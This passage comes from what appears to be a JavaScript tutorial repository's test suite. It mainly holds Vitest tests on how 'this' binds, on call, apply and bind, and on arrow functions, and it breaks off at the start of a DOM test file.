`Hello, I'm ${this.name}!`\n        }\n\n        const alice = { name: \"Alice\", greet }\n        const bob = { name: \"Bob\", greet }\n        const charlie = { name: \"Charlie\", greet }\n\n        expect(alice.greet()).toBe(\"Hello, I'm Alice!\")\n        expect(bob.greet()).toBe(\"Hello, I'm Bob!\")\n        expect(charlie.greet()).toBe(\"Hello, I'm Charlie!\")\n      })\n    })\n\n    describe('Rectangle Class Example (ES6 Classes)', () => {\n      it('should bind this to instance in class methods', () => {\n        class Rectangle {\n          constructor(width, height) {\n            this.width = width\n            this.height = height\n          }\n          \n          getArea() {\n            return this.width * this.height\n          }\n        }\n\n        const rect = new Rectangle(10, 5)\n        expect(rect.getArea()).toBe(50)\n      })\n    })\n\n    describe('Explicit Binding: introduce() Example', () => {\n      it('should set this explicitly with call', () => {\n        function introduce() {\n          return `I'm ${this.name}, a ${this.role}`\n        }\n\n        const alice = { name: \"Alice\", role: \"developer\" }\n        const bob = { name: \"Bob\", role: \"designer\" }\n\n        expect(introduce.call(alice)).toBe(\"I'm Alice, a developer\")\n        expect(introduce.call(bob)).toBe(\"I'm Bob, a designer\")\n      })\n    })\n\n    describe('Partial Application: greet with sayHello/sayGoodbye', () => {\n      it('should create specialized greeting functions', () => {\n        function greet(greeting, name) {\n          return `${greeting}, ${name}!`\n        }\n\n        const sayHello = greet.bind(null, \"Hello\")\n        const sayGoodbye = greet.bind(null, \"Goodbye\")\n\n        expect(sayHello(\"Alice\")).toBe(\"Hello, Alice!\")\n        expect(sayHello(\"Bob\")).toBe(\"Hello, Bob!\")\n        expect(sayGoodbye(\"Alice\")).toBe(\"Goodbye, Alice!\")\n      })\n    })\n  })\n\n  describe('The 5 Binding Rules', () => {\n    \n    describe('Rule 1: new Binding', () => {\n      it('should bind this to new object with constructor function', () => {\n        function Person(name) {\n          this.name = name\n        }\n        \n        const alice = new Person('Alice')\n        expect(alice.name).toBe('Alice')\n      })\n      \n      it('should bind this to new object with ES6 class', () => {\n        class Person {\n          constructor(name) {\n            this.name = name\n          }\n        }\n        \n        const bob = new Person('Bob')\n        expect(bob.name).toBe('Bob')\n      })\n      \n      it('should create separate instances with their own this', () => {\n        class Counter {\n          constructor() {\n            this.count = 0\n          }\n          increment() {\n            this.count++\n          }\n        }\n        \n        const counter1 = new Counter()\n        const counter2 = new Counter()\n        \n        counter1.increment()\n        counter1.increment()\n        counter2.increment()\n        \n        expect(counter1.count).toBe(2)\n        expect(counter2.count).toBe(1)\n      })\n      \n      it('should allow this to reference instance methods', () => {\n        class Calculator {\n          constructor(value) {\n            this.value = value\n          }\n          add(n) {\n            this.value += n\n            return this\n          }\n          multiply(n) {\n            this.value *= n\n            return this\n          }\n        }\n        \n        const calc = new Calculator(5)\n        calc.add(3).multiply(2)\n        \n        expect(calc.value).toBe(16)\n      })\n      \n      it('should return the new object unless function returns an object', () => {\n        function ReturnsNothing(name) {\n          this.name = name\n        }\n        \n        function ReturnsObject(name) {\n          this.name = name\n          return { customName: 'Custom' }\n        }\n        \n        function ReturnsPrimitive(name) {\n          this.name = name\n          return 42  // Primitive return is ignored\n        }\n        \n        const obj1 = new ReturnsNothing('Alice')\n        const obj2 = new ReturnsObject('Bob')\n        const obj3 = new ReturnsPrimitive('Charlie')\n        \n        expect(obj1.name).toBe('Alice')\n        expect(obj2.customName).toBe('Custom')\n        expect(obj2.name).toBeUndefined()\n        expect(obj3.name).toBe('Charlie')  // Primitive ignored\n      })\n      \n      it('should set up prototype chain correctly', () => {\n        class Animal {\n          speak() {\n            return 'Some sound'\n          }\n        }\n        \n        class Dog extends Animal {\n          speak() {\n            return 'Woof!'\n          }\n        }\n        \n        const dog = new Dog()\n        expect(dog.speak()).toBe('Woof!')\n        expect(dog instanceof Dog).toBe(true)\n        expect(dog instanceof Animal).toBe(true)\n      })\n      \n      it('should have new binding override explicit binding', () => {\n        function Person(name) {\n          this.name = name\n        }\n        \n        const boundPerson = Person.bind({ name: 'Bound' })\n        const alice = new boundPerson('Alice')\n        \n        // new overrides bind\n        expect(alice.name).toBe('Alice')\n      })\n    })\n    \n    describe('Rule 2: Explicit Binding (call/apply/bind)', () => {\n      it('should set this with call()', () => {\n        function greet() {\n          return `Hello, ${this.name}`\n        }\n        \n        const alice = { name: 'Alice' }\n        expect(greet.call(alice)).toBe('Hello, Alice')\n      })\n      \n      it('should set this with apply()', () => {\n        function greet() {\n          return `Hello, ${this.name}`\n        }\n        \n        const bob = { name: 'Bob' }\n        expect(greet.apply(bob)).toBe('Hello, Bob')\n      })\n      \n      it('should set this with bind()', () => {\n        function greet() {\n          return `Hello, ${this.name}`\n        }\n        \n        const charlie = { name: 'Charlie' }\n        const boundGreet = greet.bind(charlie)\n        expect(boundGreet()).toBe('Hello, Charlie')\n      })\n      \n      it('should have explicit binding override implicit binding', () => {\n        const alice = {\n          name: 'Alice',\n          greet() {\n            return `Hi, I'm ${this.name}`\n          }\n        }\n        \n        const bob = { name: 'Bob' }\n        \n        // Even though called on alice, we force this to be bob\n        expect(alice.greet.call(bob)).toBe(\"Hi, I'm Bob\")\n      })\n      \n      it('should handle null/undefined thisArg in strict mode', () => {\n        function getThis() {\n          return this\n        }\n        \n        // In strict mode with null/undefined, this remains null/undefined\n        expect(getThis.call(null)).toBe(null)\n        expect(getThis.call(undefined)).toBe(undefined)\n      })\n    })\n    \n    describe('Rule 3: Implicit Binding (Method Call)', () => {\n      it('should bind this to the object before the dot', () => {\n        const user = {\n          name: 'Alice',\n          getName() {\n            return this.name\n          }\n        }\n        \n        expect(user.getName()).toBe('Alice')\n      })\n      \n      it('should use the immediate object for nested objects', () => {\n        const company = {\n          name: 'TechCorp',\n          department: {\n            name: 'Engineering',\n            getName() {\n              return this.name\n            }\n          }\n        }\n        \n        // this is department, not company\n        expect(company.department.getName()).toBe('Engineering')\n      })\n      \n      it('should allow method chaining with this', () => {\n        const calculator = {\n          value: 0,\n          add(n) {\n            this.value += n\n            return this\n          },\n          subtract(n) {\n            this.value -= n\n            return this\n          },\n          getResult() {\n            return this.value\n          }\n        }\n        \n        const result = calculator.add(10).subtract(3).add(5).getResult()\n        expect(result).toBe(12)\n      })\n      \n      it('should lose implicit binding when method is extracted', () => {\n        const user = {\n          name: 'Alice',\n          getName() {\n            return this?.name\n          }\n        }\n        \n        const getName = user.getName\n        // Lost binding - this is undefined in strict mode\n        expect(getName()).toBeUndefined()\n      })\n      \n      it('should lose implicit binding in callbacks', () => {\n        const user = {\n          name: 'Alice',\n          getName() {\n            return this?.name\n          }\n        }\n        \n        function executeCallback(callback) {\n          return callback()\n        }\n        \n        // Passing method as callback loses binding\n        expect(executeCallback(user.getName)).toBeUndefined()\n      })\n      \n      it('should work with computed property access', () => {\n        const obj = {\n          name: 'Object',\n          method() {\n            return this.name\n          }\n        }\n        \n        const methodName = 'method'\n        expect(obj[methodName]()).toBe('Object')\n      })\n    })\n    \n    describe('Rule 4: Default Binding', () => {\n      it('should have undefined this in strict mode for plain function calls', () => {\n        function getThis() {\n          return this\n        }\n        \n        // Vitest runs in strict mode\n        expect(getThis()).toBeUndefined()\n      })\n      \n      it('should have undefined this in IIFE in strict mode', () => {\n        const result = (function() {\n          return this\n        })()\n        \n        expect(result).toBeUndefined()\n      })\n      \n      it('should have undefined this in nested function calls', () => {\n        const obj = {\n          name: 'Object',\n          method() {\n            function inner() {\n              return this\n            }\n            return inner()\n          }\n        }\n        \n        // Inner function uses default binding\n        expect(obj.method()).toBeUndefined()\n      })\n    })\n    \n    describe('Rule 5: Arrow Functions (Lexical this)', () => {\n      it('should inherit this from enclosing scope', () => {\n        const obj = {\n          name: 'Object',\n          method() {\n            const arrow = () => this.name\n            return arrow()\n          }\n        }\n        \n        expect(obj.method()).toBe('Object')\n      })\n      \n      it('should not change this with call/apply/bind on arrow functions', () => {\n        const obj = {\n          name: 'Original',\n          getArrow() {\n            return () => this.name\n          }\n        }\n        \n        const arrow = obj.getArrow()\n        const other = { name: 'Other' }\n        \n        // Arrow function ignores explicit binding\n        expect(arrow()).toBe('Original')\n        expect(arrow.call(other)).toBe('Original')\n        expect(arrow.apply(other)).toBe('Original')\n        expect(arrow.bind(other)()).toBe('Original')\n      })\n      \n      it('should preserve this in callbacks with arrow functions', () => {\n        class Counter {\n          constructor() {\n            this.count = 0\n          }\n          \n          incrementWithArrow() {\n            [1, 2, 3].forEach(() => {\n              this.count++\n            })\n          }\n        }\n        \n        const counter = new Counter()\n        counter.incrementWithArrow()\n        \n        expect(counter.count).toBe(3)\n      })\n      \n      it('should work with arrow function class fields', () => {\n        class Button {\n          constructor(label) {\n            this.label = label\n          }\n          \n          // Arrow function as class field\n          handleClick = () => {\n            return `Clicked: ${this.label}`\n          }\n        }\n        \n        const btn = new Button('Submit')\n        const handler = btn.handleClick  // Extract method\n        \n        // Still works because arrow binds lexically\n        expect(handler()).toBe('Clicked: Submit')\n      })\n      \n      it('should not have arrow functions work as object methods', () => {\n        const user = {\n          name: 'Alice',\n          // Arrow function as method - BAD!\n          greet: () => {\n            return this?.name\n          }\n        }\n        \n        // this is not user, it's the enclosing scope (undefined in strict mode)\n        expect(user.greet()).toBeUndefined()\n      })\n      \n      it('should capture this at definition time, not call time', () => {\n        function createArrow() {\n          return () => this\n        }\n        \n        const obj1 = { name: 'obj1' }\n        const obj2 = { name: 'obj2' }\n        \n        // Arrow is created with obj1 as this\n        const arrow = createArrow.call(obj1)\n        \n        // Calling with obj2 doesn't change anything\n        expect(arrow.call(obj2)).toBe(obj1)\n      })\n    })\n\n    describe('Arrow Function Limitations', () => {\n      it('should throw when using arrow function with new', () => {\n        const ArrowClass = () => {}\n        \n        expect(() => {\n          new ArrowClass()\n        }).toThrow(TypeError)\n      })\n\n      it('should not have arguments object in arrow functions', () => {\n        // Arrow functions don't have their own arguments\n        // They would reference arguments from enclosing scope\n        const arrowWithRest = (...args) => {\n          return args\n        }\n\n        expect(arrowWithRest(1, 2, 3)).toEqual([1, 2, 3])\n      })\n\n      it('should demonstrate regular vs arrow in nested context', () => {\n        const obj = {\n          name: \"Object\",\n          \n          regularMethod: function() {\n            // Nested regular function - loses 'this'\n            function inner() {\n              return this\n            }\n            return inner()\n          },\n\n          arrowMethod: function() {\n            // Nested arrow function - keeps 'this'\n            const innerArrow = () => {\n              return this.name\n            }\n            return innerArrow()\n          }\n        }\n\n        expect(obj.regularMethod()).toBeUndefined()\n        expect(obj.arrowMethod()).toBe(\"Object\")\n      })\n    })\n  })\n  \n  describe('call() Method', () => {\n    it('should invoke function immediately with specified this', () => {\n      function greet() {\n        return `Hello, ${this.name}`\n      }\n      \n      expect(greet.call({ name: 'World' })).toBe('Hello, World')\n    })\n    \n    it('should pass arguments individually', () => {\n      function introduce(greeting, punctuation) {\n        return `${greeting}, I'm ${this.name}${punctuation}`\n      }\n      \n      const alice = { name: 'Alice' }\n      expect(introduce.call(alice, 'Hi', '!')).toBe(\"Hi, I'm Alice!\")\n    })\n    \n    it('should allow method borrowing', () => {\n      const arrayLike = { 0: 'a', 1: 'b', 2: 'c', length: 3 }\n      \n      const result = Array.prototype.slice.call(arrayLike)\n      expect(result).toEqual(['a', 'b', 'c'])\n    })\n    \n    it('should allow borrowing join method', () => {\n      const arrayLike = { 0: 'a', 1: 'b', 2: 'c', length: 3 }\n      \n      const result = Array.prototype.join.call(arrayLike, '-')\n      expect(result).toBe('a-b-c')\n    })\n    \n    it('should work with prototype methods', () => {\n      const obj = {\n        0: 1,\n        1: 2,\n        2: 3,\n        length: 3\n      }\n      \n      const sum = Array.prototype.reduce.call(obj, (acc, val) => acc + val, 0)\n      expect(sum).toBe(6)\n    })\n    \n    it('should allow calling parent class methods', () => {\n      class Animal {\n        speak() {\n          return `${this.name} makes a sound`\n        }\n      }\n      \n      class Dog extends Animal {\n        constructor(name) {\n          super()\n          this.name = name\n        }\n        speak() {\n          const parentSays = Animal.prototype.speak.call(this)\n          return `${parentSays}. Woof!`\n        }\n      }\n      \n      const dog = new Dog('Rex')\n      expect(dog.speak()).toBe('Rex makes a sound. Woof!')\n    })\n    \n    it('should work with no arguments after thisArg', () => {\n      function getThisName() {\n        return this.name\n      }\n      \n      expect(getThisName.call({ name: 'Test' })).toBe('Test')\n    })\n    \n    it('should keep primitives as-is in strict mode when passed as thisArg', () => {\n      function getThis() {\n        return this\n      }\n      \n      // In strict mode, primitives are NOT converted to wrapper objects\n      const result = getThis.call(42)\n      expect(result).toBe(42)\n      expect(typeof result).toBe('number')\n    })\n  })\n  \n  describe('apply() Method', () => {\n    it('should invoke function immediately with specified this', () => {\n      function greet() {\n        return `Hello, ${this.name}`\n      }\n      \n      expect(greet.apply({ name: 'World' })).toBe('Hello, World')\n    })\n    \n    it('should pass arguments as an array', () => {\n      function introduce(greeting, punctuation) {\n        return `${greeting}, I'm ${this.name}${punctuation}`\n      }\n      \n      const bob = { name: 'Bob' }\n      expect(introduce.apply(bob, ['Hey', '?'])).toBe(\"Hey, I'm Bob?\")\n    })\n    \n    it('should work with Math.max', () => {\n      const numbers = [5, 2, 9, 1, 7]\n      \n      const max = Math.max.apply(null, numbers)\n      expect(max).toBe(9)\n    })\n    \n    it('should work with Math.min', () => {\n      const numbers = [5, 2, 9, 1, 7]\n      \n      const min = Math.min.apply(null, numbers)\n      expect(min).toBe(1)\n    })\n    \n    it('should work with array-like arguments', () => {\n      function sum() {\n        return Array.prototype.reduce.call(arguments, (acc, n) => acc + n, 0)\n      }\n      \n      const numbers = [1, 2, 3, 4, 5]\n      expect(sum.apply(null, numbers)).toBe(15)\n    })\n    \n    it('should work with empty array', () => {\n      function returnArgs() {\n        return Array.prototype.slice.call(arguments)\n      }\n      \n      expect(returnArgs.apply(null, [])).toEqual([])\n    })\n    \n    it('should work with null/undefined args array', () => {\n      function noArgs() {\n        return 'called'\n      }\n      \n      expect(noArgs.apply(null, null)).toBe('called')\n      expect(noArgs.apply(null, undefined)).toBe('called')\n    })\n    \n    it('should allow combining arrays with concat-like behavior', () => {\n      const arr1 = [1, 2, 3]\n      const arr2 = [4, 5, 6]\n      \n      Array.prototype.push.apply(arr1, arr2)\n      expect(arr1).toEqual([1, 2, 3, 4, 5, 6])\n    })\n\n    it('should be replaceable by spread operator for Math operations', () => {\n      const numbers = [5, 2, 9, 1, 7]\n\n      // Old way with apply\n      const maxApply = Math.max.apply(null, numbers)\n      const minApply = Math.min.apply(null, numbers)\n\n      // Modern way with spread\n      const maxSpread = Math.max(...numbers)\n      const minSpread = Math.min(...numbers)\n\n      expect(maxApply).toBe(maxSpread)\n      expect(minApply).toBe(minSpread)\n      expect(maxSpread).toBe(9)\n      expect(minSpread).toBe(1)\n    })\n  })\n  \n  describe('bind() Method', () => {\n    it('should return a new function', () => {\n      function greet() {\n        return `Hello, ${this.name}`\n      }\n      \n      const alice = { name: 'Alice' }\n      const boundGreet = greet.bind(alice)\n      \n      expect(typeof boundGreet).toBe('function')\n      expect(boundGreet).not.toBe(greet)\n    })\n    \n    it('should not invoke the function immediately', () => {\n      let called = false\n      function setFlag() {\n        called = true\n      }\n      \n      const bound = setFlag.bind({})\n      expect(called).toBe(false)\n      \n      bound()\n      expect(called).toBe(true)\n    })\n    \n    it('should permanently bind this', () => {\n      function getName() {\n        return this.name\n      }\n      \n      const alice = { name: 'Alice' }\n      const bob = { name: 'Bob' }\n      \n      const boundToAlice = getName.bind(alice)\n      \n      expect(boundToAlice()).toBe('Alice')\n      expect(boundToAlice.call(bob)).toBe('Alice')  // call ignored\n      expect(boundToAlice.apply(bob)).toBe('Alice') // apply ignored\n    })\n    \n    it('should not allow rebinding with another bind', () => {\n      function getName() {\n        return this.name\n      }\n      \n      const alice = { name: 'Alice' }\n      const bob = { name: 'Bob' }\n      \n      const boundToAlice = getName.bind(alice)\n      const triedRebind = boundToAlice.bind(bob)\n      \n      expect(triedRebind()).toBe('Alice')  // Still Alice!\n    })\n    \n    it('should support partial application', () => {\n      function multiply(a, b) {\n        return a * b\n      }\n      \n      const double = multiply.bind(null, 2)\n      const triple = multiply.bind(null, 3)\n      \n      expect(double(5)).toBe(10)\n      expect(triple(5)).toBe(15)\n    })\n    \n    it('should support partial application with multiple arguments', () => {\n      function greet(greeting, punctuation, name) {\n        return `${greeting}, ${name}${punctuation}`\n      }\n      \n      const sayHello = greet.bind(null, 'Hello', '!')\n      \n      expect(sayHello('Alice')).toBe('Hello, Alice!')\n      expect(sayHello('Bob')).toBe('Hello, Bob!')\n    })\n    \n    it('should work with event handler pattern', () => {\n      class Button {\n        constructor(label) {\n          this.label = label\n          this.handleClick = this.handleClick.bind(this)\n        }\n        \n        handleClick() {\n          return `${this.label} clicked`\n        }\n      }\n      \n      const btn = new Button('Submit')\n      const handler = btn.handleClick\n      \n      expect(handler()).toBe('Submit clicked')\n    })\n    \n    it('should work with setTimeout pattern', () => {\n      class Delayed {\n        constructor(message) {\n          this.message = message\n        }\n        \n        getMessage() {\n          return this.message\n        }\n      }\n      \n      const delayed = new Delayed('Hello')\n      const boundGetMessage = delayed.getMessage.bind(delayed)\n      \n      // Simulating what setTimeout would do\n      const callback = boundGetMessage\n      expect(callback()).toBe('Hello')\n    })\n    \n    it('should preserve the length property minus bound args', () => {\n      function fn(a, b, c) {\n        return a + b + c\n      }\n      \n      const bound0 = fn.bind(null)\n      const bound1 = fn.bind(null, 1)\n      const bound2 = fn.bind(null, 1, 2)\n      \n      expect(fn.length).toBe(3)\n      expect(bound0.length).toBe(3)\n      expect(bound1.length).toBe(2)\n      expect(bound2.length).toBe(1)\n    })\n    \n    it('should work with new even when bound', () => {\n      function Person(name) {\n        this.name = name\n      }\n      \n      const BoundPerson = Person.bind({ name: 'Ignored' })\n      const alice = new BoundPerson('Alice')\n      \n      // new overrides the bound this\n      expect(alice.name).toBe('Alice')\n    })\n  })\n  \n  describe('Common Patterns', () => {\n    describe('Method Borrowing', () => {\n      it('should borrow array methods for array-like objects', () => {\n        const arrayLike = {\n          0: 'first',\n          1: 'second',\n          2: 'third',\n          length: 3\n        }\n        \n        const mapped = Array.prototype.map.call(arrayLike, item => item.toUpperCase())\n        expect(mapped).toEqual(['FIRST', 'SECOND', 'THIRD'])\n      })\n      \n      it('should borrow methods between similar objects', () => {\n        const logger = {\n          prefix: '[LOG]',\n          log(message) {\n            return `${this.prefix} ${message}`\n          }\n        }\n        \n        const errorLogger = {\n          prefix: '[ERROR]'\n        }\n        \n        expect(logger.log.call(errorLogger, 'Something failed')).toBe('[ERROR] Something failed')\n      })\n      \n      it('should use hasOwnProperty safely', () => {\n        const obj = Object.create(null)  // No prototype\n        obj.name = 'test'\n        \n        // obj.hasOwnProperty would fail, but we can borrow it\n        const hasOwn = Object.prototype.hasOwnProperty.call(obj, 'name')\n        expect(hasOwn).toBe(true)\n      })\n    })\n    \n    describe('Partial Application', () => {\n      it('should create specialized functions', () => {\n        function log(level, timestamp, message) {\n          return `[${level}] ${timestamp}: ${message}`\n        }\n        \n        const logError = log.bind(null, 'ERROR')\n        const logInfo = log.bind(null, 'INFO')\n        \n        expect(logError('2024-01-15', 'Failed')).toBe('[ERROR] 2024-01-15: Failed')\n        expect(logInfo('2024-01-15', 'Started')).toBe('[INFO] 2024-01-15: Started')\n      })\n      \n      it('should allow creating multiplier functions', () => {\n        function multiply(a, b) {\n          return a * b\n        }\n        \n        const double = multiply.bind(null, 2)\n        const triple = multiply.bind(null, 3)\n        const quadruple = multiply.bind(null, 4)\n        \n        expect(double(10)).toBe(20)\n        expect(triple(10)).toBe(30)\n        expect(quadruple(10)).toBe(40)\n      })\n      \n      it('should work with more complex functions', () => {\n        function createUrl(protocol, domain, path) {\n          return `${protocol}://${domain}${path}`\n        }\n        \n        const httpUrl = createUrl.bind(null, 'https')\n        const apiUrl = httpUrl.bind(null, 'api.example.com')\n        \n        expect(apiUrl('/users')).toBe('https://api.example.com/users')\n        expect(apiUrl('/posts')).toBe('https://api.example.com/posts')\n      })\n    })\n    \n    describe('Preserving Context in Classes', () => {\n      it('should preserve context with bind in constructor', () => {\n        class Timer {\n          constructor() {\n            this.seconds = 0\n            this.tick = this.tick.bind(this)\n          }\n          \n          tick() {\n            this.seconds++\n            return this.seconds\n          }\n        }\n        \n        const timer = new Timer()\n        const tick = timer.tick\n        \n        expect(tick()).toBe(1)\n        expect(tick()).toBe(2)\n      })\n      \n      it('should preserve context with arrow class fields', () => {\n        class Timer {\n          seconds = 0\n          \n          tick = () => {\n            this.seconds++\n            return this.seconds\n          }\n        }\n        \n        const timer = new Timer()\n        const tick = timer.tick\n        \n        expect(tick()).toBe(1)\n        expect(tick()).toBe(2)\n      })\n    })\n  })\n  \n  describe('Gotchas and Edge Cases', () => {\n    describe('Lost Context Scenarios', () => {\n      it('should demonstrate lost context in forEach without arrow', () => {\n        const calculator = {\n          value: 10,\n          addAll(numbers) {\n            const self = this  // Old-school workaround\n            numbers.forEach(function(n) {\n              self.value += n\n            })\n            return this.value\n          }\n        }\n        \n        expect(calculator.addAll([1, 2, 3])).toBe(16)\n      })\n      \n      it('should fix lost context with arrow function', () => {\n        const calculator = {\n          value: 10,\n          addAll(numbers) {\n            numbers.forEach((n) => {\n              this.value += n\n            })\n            return this.value\n          }\n        }\n        \n        expect(calculator.addAll([1, 2, 3])).toBe(16)\n      })\n      \n      it('should fix lost context with thisArg parameter', () => {\n        const calculator = {\n          value: 10,\n          addAll(numbers) {\n            numbers.forEach(function(n) {\n              this.value += n\n            }, this)  // Pass this as second argument\n            return this.value\n          }\n        }\n        \n        expect(calculator.addAll([1, 2, 3])).toBe(16)\n      })\n    })\n    \n    describe('this in Different Contexts', () => {\n      it('should have correct this in nested methods', () => {\n        const outer = {\n          name: 'Outer',\n          inner: {\n            name: 'Inner',\n            getOuterName() {\n              // Can't access outer.name via this\n              return this.name\n            }\n          }\n        }\n        \n        expect(outer.inner.getOuterName()).toBe('Inner')\n      })\n      \n      it('should demonstrate closure workaround for nested this', () => {\n        const outer = {\n          name: 'Outer',\n          createInner() {\n            const outerThis = this\n            return {\n              name: 'Inner',\n              getOuterName() {\n                return outerThis.name\n              }\n            }\n          }\n        }\n        \n        const inner = outer.createInner()\n        expect(inner.getOuterName()).toBe('Outer')\n      })\n    })\n    \n    describe('Binding Priority', () => {\n      it('should have new override bind', () => {\n        function Foo(value) {\n          this.value = value\n        }\n        \n        const BoundFoo = Foo.bind({ value: 'bound' })\n        const instance = new BoundFoo('new')\n        \n        expect(instance.value).toBe('new')\n      })\n      \n      it('should have explicit override implicit', () => {\n        const obj1 = {\n          name: 'obj1',\n          getName() {\n            return this.name\n          }\n        }\n        \n        const obj2 = { name: 'obj2' }\n        \n        expect(obj1.getName()).toBe('obj1')\n        expect(obj1.getName.call(obj2)).toBe('obj2')\n      })\n      \n      it('should have implicit override default', () => {\n        function getName() {\n          return this?.name\n        }\n        \n        const obj = { name: 'obj', getName }\n        \n        expect(getName()).toBeUndefined()  // Default binding\n        expect(obj.getName()).toBe('obj')   // Implicit binding\n      })\n    })\n  })\n  \n  describe('Quiz Questions from Documentation', () => {\n    it('Question 1: extracted method loses context', () => {\n      const user = {\n        name: 'Alice',\n        greet() {\n          return `Hi, I'm ${this?.name}`\n        }\n      }\n      \n      const greet = user.greet\n      expect(greet()).toBe(\"Hi, I'm undefined\")\n    })\n    \n    it('Question 2: arrow function class fields preserve context', () => {\n      class Counter {\n        count = 0\n        \n        increment = () => {\n          this.count++\n        }\n      }\n      \n      const counter = new Counter()\n      const inc = counter.increment\n      inc()\n      inc()\n      \n      expect(counter.count).toBe(2)\n    })\n    \n    it('Question 3: bind cannot be overridden by call', () => {\n      function greet() {\n        return `Hello, ${this.name}!`\n      }\n      \n      const alice = { name: 'Alice' }\n      const bob = { name: 'Bob' }\n      \n      const greetAlice = greet.bind(alice)\n      expect(greetAlice.call(bob)).toBe('Hello, Alice!')\n    })\n    \n    it('Question 4: nested object uses immediate parent as this', () => {\n      const obj = {\n        name: 'Outer',\n        inner: {\n          name: 'Inner',\n          getName() {\n            return this.name\n          }\n        }\n      }\n      \n      expect(obj.inner.getName()).toBe('Inner')\n    })\n\n    it('Question 5: forEach callback loses this context', () => {\n      const calculator = {\n        value: 10,\n        add(numbers) {\n          // This demonstrates the BROKEN behavior\n          let localValue = this.value\n          numbers.forEach(function(n) {\n            // this.value would be undefined here in strict mode\n            // so we can't actually add to it\n            localValue += 0  // simulating the broken behavior\n          })\n          return this.value  // returns original value unchanged\n        }\n      }\n      \n      // The value stays 10 because the callback can't access this.value\n      expect(calculator.add([1, 2, 3])).toBe(10)\n    })\n\n    it('Question 5 fixed: forEach with arrow function preserves this', () => {\n      const calculator = {\n        value: 10,\n        add(numbers) {\n          numbers.forEach((n) => {\n            this.value += n  // Arrow function preserves this\n          })\n          return this.value\n        }\n      }\n      \n      expect(calculator.add([1, 2, 3])).toBe(16)\n    })\n\n    it('Question 6: bind partial application and length property', () => {\n      function multiply(a, b) {\n        return a * b\n      }\n      \n      const double = multiply.bind(null, 2)\n      \n      expect(double(5)).toBe(10)\n      expect(double.length).toBe(1)  // multiply has 2 params, we pre-filled 1\n    })\n  })\n\n  describe('Additional Documentation Examples', () => {\n    describe('simulateNew function', () => {\n      it('should simulate new keyword behavior', () => {\n        function simulateNew(Constructor, ...args) {\n          // Step 1: Create empty object\n          const newObject = {}\n          \n          // Step 2: Link prototype if it's an object\n          if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') {\n            Object.setPrototypeOf(newObject, Constructor.prototype)\n          }\n          \n          // Step 3: Bind this and execute\n          const result = Constructor.apply(newObject, args)\n          \n          // Step 4: Return object (unless constructor returns a non-primitive)\n          return result !== null && typeof result === 'object' ? result : newObject\n        }\n\n        function Person(name) {\n          this.name = name\n        }\n        Person.prototype.greet = function() {\n          return `Hi, I'm ${this.name}`\n        }\n\n        const alice1 = new Person(\"Alice\")\n        const alice2 = simulateNew(Person, \"Alice\")\n\n        expect(alice1.name).toBe(\"Alice\")\n        expect(alice2.name).toBe(\"Alice\")\n        expect(alice1.greet()).toBe(\"Hi, I'm Alice\")\n        expect(alice2.greet()).toBe(\"Hi, I'm Alice\")\n        expect(alice2 instanceof Person).toBe(true)\n      })\n\n      it('should return custom object if constructor returns one', () => {\n        function simulateNew(Constructor, ...args) {\n          const newObject = {}\n          if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') {\n            Object.setPrototypeOf(newObject, Constructor.prototype)\n          }\n          const result = Constructor.apply(newObject, args)\n          return result !== null && typeof result === 'object' ? result : newObject\n        }\n\n        function ReturnsObject() {\n          this.name = \"ignored\"\n          return { custom: \"object\" }\n        }\n\n        const obj = simulateNew(ReturnsObject)\n        expect(obj.custom).toBe(\"object\")\n        expect(obj.name).toBeUndefined()\n      })\n\n      it('should handle constructor with non-object prototype', () => {\n        function simulateNew(Constructor, ...args) {\n          const newObject = {}\n          if (Constructor.prototype !== null && typeof Constructor.prototype === 'object') {\n            Object.setPrototypeOf(newObject, Constructor.prototype)\n          }\n          const result = Constructor.apply(newObject, args)\n          return result !== null && typeof result === 'object' ? result : newObject\n        }\n\n        function WeirdConstructor(value) {\n          this.value = value\n        }\n        // Set prototype to a primitive (edge case)\n        WeirdConstructor.prototype = null\n\n        const obj = simulateNew(WeirdConstructor, 42)\n        expect(obj.value).toBe(42)\n        // When prototype is null, object keeps Object.prototype\n        expect(Object.getPrototypeOf(obj)).toBe(Object.prototype)\n      })\n    })\n\n    describe('apply with args array', () => {\n      it('should work with introduce function and args array', () => {\n        function introduce(greeting, role, company) {\n          return `${greeting}! I'm ${this.name}, ${role} at ${company}.`\n        }\n\n        const alice = { name: \"Alice\" }\n        const args = [\"Hello\", \"engineer\", \"TechCorp\"]\n\n        expect(introduce.apply(alice, args)).toBe(\"Hello! I'm Alice, engineer at TechCorp.\")\n        expect(introduce.call(alice, ...args)).toBe(\"Hello! I'm Alice, engineer at TechCorp.\")\n      })\n    })\n\n    describe('Countdown class pattern', () => {\n      it('should preserve this with bind in setInterval pattern', () => {\n        class Countdown {\n          constructor(start) {\n            this.count = start\n          }\n          \n          tick() {\n            this.count--\n            return this.count\n          }\n        }\n\n        const countdown = new Countdown(10)\n        \n        // Simulate what setInterval would do - extract the method\n        const boundTick = countdown.tick.bind(countdown)\n        \n        expect(boundTick()).toBe(9)\n        expect(boundTick()).toBe(8)\n        expect(boundTick()).toBe(7)\n        expect(countdown.count).toBe(7)\n      })\n\n      it('should lose this without bind', () => {\n        class Countdown {\n          constructor(start) {\n            this.count = start\n          }\n          \n          tick() {\n            return this?.count\n          }\n        }\n\n        const countdown = new Countdown(10)\n        const unboundTick = countdown.tick\n        \n        // Without bind, this is undefined\n        expect(unboundTick()).toBeUndefined()\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/web-platform/dom/dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, beforeEach } from 'vitest'\n\n// =============================================================================\n// DOM AND LAYOUT TREES - TEST SUITE\n// Tests for code examples from docs/concepts/dom.mdx\n// =============================================================================\n\ndescribe('DOM and Layout Trees', () => {\n  // Reset document body before each test\n  beforeEach(() => {\n    document.body.innerHTML = ''\n    document.head.innerHTML = ''\n  })\n\n  // ===========================================================================\n  // NODE TYPES AND STRUCTURE\n  // ===========================================================================\n  describe('Node Types and Structure', () => {\n    it('should identify element node type', () => {\n      const div = document.createElement('div')\n      expect(div.nodeType).toBe(1)\n      expect(div.nodeType).toBe(Node.ELEMENT_NODE)\n      expect(div.nodeName).toBe('DIV')\n    })\n\n    it('should identify text node type', () => {\n      const text = document.createTextNode('Hello')\n      expect(text.nodeType).toBe(3)\n      expect(text.nodeType).toBe(Node.TEXT_NODE)\n      expect(text.nodeName).toBe('#text')\n    })\n\n    it('should identify comment node type', () => {\n      const comment = document.createComment('This is a comment')\n 